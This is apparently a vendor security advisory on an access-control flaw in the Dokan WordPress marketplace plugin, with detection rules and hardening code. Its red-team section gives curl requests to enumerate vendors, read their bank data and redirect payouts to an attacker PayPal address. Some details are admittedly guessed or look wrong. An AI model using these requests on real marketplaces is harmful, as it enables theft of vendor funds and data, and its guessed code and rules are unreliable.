CVE-2025-14977

Executive Summary

CVE-2025-14977 is a critical Insecure Direct Object Reference (IDOR) vulnerability discovered in the Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress, affecting versions up to and including 4.2.4. This vulnerability resides in the /wp-json/dokan/v1/settings REST API endpoint, where a user-controlled key (likely the vendor ID) is not properly validated. An authenticated attacker with customer-level permissions or higher can exploit this flaw to read or modify other vendors' store settings.

The impact is severe: attackers can exfiltrate sensitive payment information (PayPal email, bank account details, routing numbers, IBAN, SWIFT codes), phone numbers, and addresses. More critically, they can change the PayPal email address associated with a vendor's account to an attacker-controlled address. When the marketplace processes payouts, funds are then sent to the attacker, enabling direct financial theft.

This vulnerability is particularly dangerous in a WordPress ecosystem because it targets the core financial operations of a multivendor marketplace. The plugin is widely used to build platforms similar to Amazon, eBay, or Etsy, meaning a successful exploit could compromise the entire marketplace's payout system.

WordPress Ecosystem Context

This vulnerability is specific to the Dokan WordPress plugin. It is not related to Apache, Nginx, or any other web server software. The attack vector is through the WordPress REST API, which is a core component of the WordPress ecosystem.

CVSS Breakdown & Threat Level

CVSS Score: 8.1 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low – An attacker needs only customer-level authentication (lowest privileged user).
• User Interaction (UI): None – No victim interaction is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Sensitive payment and personal data can be read.
• Integrity (I): High – Critical payment settings can be modified.
• Availability (A): None – The vulnerability does not affect availability.

Threat Level: Critical. The combination of low privileges required, high impact on confidentiality and integrity, and the direct financial theft potential makes this a top-priority vulnerability for any organization using Dokan.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (IDOR) in the Dokan REST API endpoint /wp-json/dokan/v1/settings. This endpoint is designed to allow vendors to read and update their own store settings. The flaw lies in the server-side validation of the vendor identifier.

How it works:

1. Authentication: The attacker must be an authenticated user with at least customer-level permissions. This is easily achieved by registering a standard user account on the marketplace.
2. API Request: The attacker sends a GET or POST request to /wp-json/dokan/v1/settings with a manipulated vendor ID parameter (e.g., ?vendor_id=123).
3. Missing Validation: The server fails to verify that the authenticated user is the owner of the requested vendor ID. It simply retrieves or updates the settings for the provided ID.
4. Data Exfiltration/Modification: The attacker can iterate through vendor IDs to read sensitive data from all vendors. More critically, they can modify the payment.paypal.email field to their own email address.
5. Financial Theft: When the marketplace runs its payout cycle (e.g., weekly or monthly), funds intended for the legitimate vendor are sent to the attacker's PayPal account.

Key Technical Details:

• Endpoint: /wp-json/dokan/v1/settings
• HTTP Methods: GET (read) and POST/PUT (update)
• Vulnerable Parameter: vendor_id or similar user-controlled key in the request body or query string.
• Data at Risk: payment.paypal.email, payment.bank.ac_number, payment.bank.routing_number, payment.bank.iban, payment.bank.swift, phone, address, etc.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual PHP):

// In a Dokan REST API controller
public function update_settings( $request ) {
    $vendor_id = $request->get_param( 'vendor_id' );
    // Missing check: if ( dokan_get_current_user_id() != $vendor_id ) { ... }
    $settings = get_user_meta( $vendor_id, 'dokan_profile_settings', true );
    // ... process and update $settings ...
    update_user_meta( $vendor_id, 'dokan_profile_settings', $settings );
    return new WP_REST_Response( $settings, 200 );
}

Patched Code (Conceptual PHP):

public function update_settings( $request ) {
    $vendor_id = $request->get_param( 'vendor_id' );
    $current_user_id = dokan_get_current_user_id();
    
    // Authorization check: Ensure the user is the vendor or an admin
    if ( ! current_user_can( 'manage_options' ) && $current_user_id != $vendor_id ) {
        return new WP_Error( 'rest_forbidden', 'You are not allowed to modify this vendor\'s settings.', array( 'status' => 403 ) );
    }
    
    $settings = get_user_meta( $vendor_id, 'dokan_profile_settings', true );
    // ... process and update $settings ...
    update_user_meta( $vendor_id, 'dokan_profile_settings', $settings );
    return new WP_REST_Response( $settings, 200 );
}

The patched code adds a critical authorization check that compares the authenticated user's ID with the requested vendor ID. Only administrators or the vendor themselves can access or modify the settings.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Dokan plugin version <= 4.2.4.
• An authenticated user account with customer-level permissions.
• Knowledge of a target vendor's ID (can be enumerated).

Exploitation Steps:

1. Enumerate Vendor IDs:

   # Use WordPress REST API to list users with vendor role
   curl -s "http://target.com/wp-json/wp/v2/users?role=dc_vendor" | jq '.[].id'
   

2. Read a Vendor's Settings (GET request):

   # Replace VENDOR_ID with the target ID
   curl -s -X GET "http://target.com/wp-json/dokan/v1/settings?vendor_id=VENDOR_ID" \
     -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" | jq .
   

3. Modify PayPal Email (POST request):

   # Replace VENDOR_ID and ATTACKER_PAYPAL_EMAIL
   curl -s -X POST "http://target.com/wp-json/dokan/v1/settings" \
     -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \
     -H "Content-Type: application/json" \
     -d '{
       "vendor_id": VENDOR_ID,
       "payment": {
         "paypal": {
           "email": "attacker@paypal.com"
         }
       }
     }'
   

4. Verify Modification:

   curl -s -X GET "http://target.com/wp-json/dokan/v1/settings?vendor_id=VENDOR_ID" \
     -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" | jq '.payment.paypal.email'
   

Expected Output: The attacker now controls the payout destination for the compromised vendor.

Blue Team (Detection & Hardening)

Detection:

• Monitor REST API logs for unusual patterns in /wp-json/dokan/v1/settings requests.
• Alert on any authenticated user (non-admin) accessing settings for multiple different vendor IDs.
• Monitor for changes to payment.paypal.email fields in user meta.

Hardening (Until Patch is Available):

1. Disable the REST Endpoint: Use a plugin like "Disable REST API" or add custom code to block the endpoint for non-admin users.

   add_filter( 'rest_endpoints', function( $endpoints ) {
       if ( isset( $endpoints['/dokan/v1/settings'] ) && ! current_user_can( 'manage_options' ) ) {
           unset( $endpoints['/dokan/v1/settings'] );
       }
       return $endpoints;
   });
   

2. Web Application Firewall (WAF) Rule: Block requests to /wp-json/dokan/v1/settings that contain a vendor_id parameter different from the authenticated user's ID.
3. User Permission Audit: Ensure no unnecessary user roles have customer-level access.
4. Monitor Payouts: Implement manual review or alerts for any changes to vendor payout details before processing payments.

Indicators of Compromise (IOCs)

Network IOCs:

• Repeated GET/POST requests to /wp-json/dokan/v1/settings with varying vendor_id parameters from the same authenticated session.
• Requests to /wp-json/wp/v2/users?role=dc_vendor for vendor enumeration.
• Unusual POST data containing payment.paypal.email with a new email address.

System IOCs:

• Changes in wp_usermeta table for dokan_profile_settings key, specifically the payment.paypal.email field.
• User accounts with customer role making API calls to vendor settings endpoints.
• Log entries showing WP_REST_Response with status 200 for /dokan/v1/settings from non-admin users.

File IOCs:

• Modified files in /wp-content/plugins/dokan/ (if attacker gains further access).
• Suspicious PHP files in uploads directory (if combined with other vulnerabilities).

Detection Engineering

YARA Rule

rule Detect_Dokan_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-14977 in Dokan plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14977"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/wp-json/dokan/v1/settings" ascii wide nocase
        $s2 = "vendor_id" ascii wide nocase
        $s3 = "payment.paypal.email" ascii wide nocase
        $s4 = "dokan_profile_settings" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 5
}

Sigma Rule

title: CVE-2025-14977 Dokan IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Insecure Direct Object Reference in Dokan plugin REST API
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14977
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem:
            - '/wp-json/dokan/v1/settings'
        cs-method:
            - 'GET'
            - 'POST'
        sc-status: 200
    filter:
        c-ip: '127.0.0.1'
    condition: selection and not filter
falsepositives:
    - Legitimate vendor accessing their own settings
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14977 Dokan IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"/wp-json/dokan/v1/settings"; http_uri;
    content:"vendor_id"; http_client_body;
    pcre:"/vendor_id=[0-9]+/";
    classtype:attempted-user;
    sid:10000001;
    rev:1;
    reference:cve,2025-14977;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint using the code snippet provided in the Blue Team section.
2. Audit all vendor accounts for unauthorized changes to payment details.
3. Review payout logs for any suspicious transactions.
4. Implement a WAF rule to block IDOR attempts.

Long-Term Fix:

• Apply the official patch once released by the Dokan vendor.
• Upgrade to Dokan version > 4.2.4 as soon as a patched version is available.
• Implement proper authorization checks in all REST API endpoints that handle user-specific data.

Workarounds:

• Use a custom plugin to add authorization checks to the Dokan REST API.
• Restrict API access to only necessary user roles.
• Enable logging and monitoring for all REST API activity.

Valters IT
Securing Digital Frontiers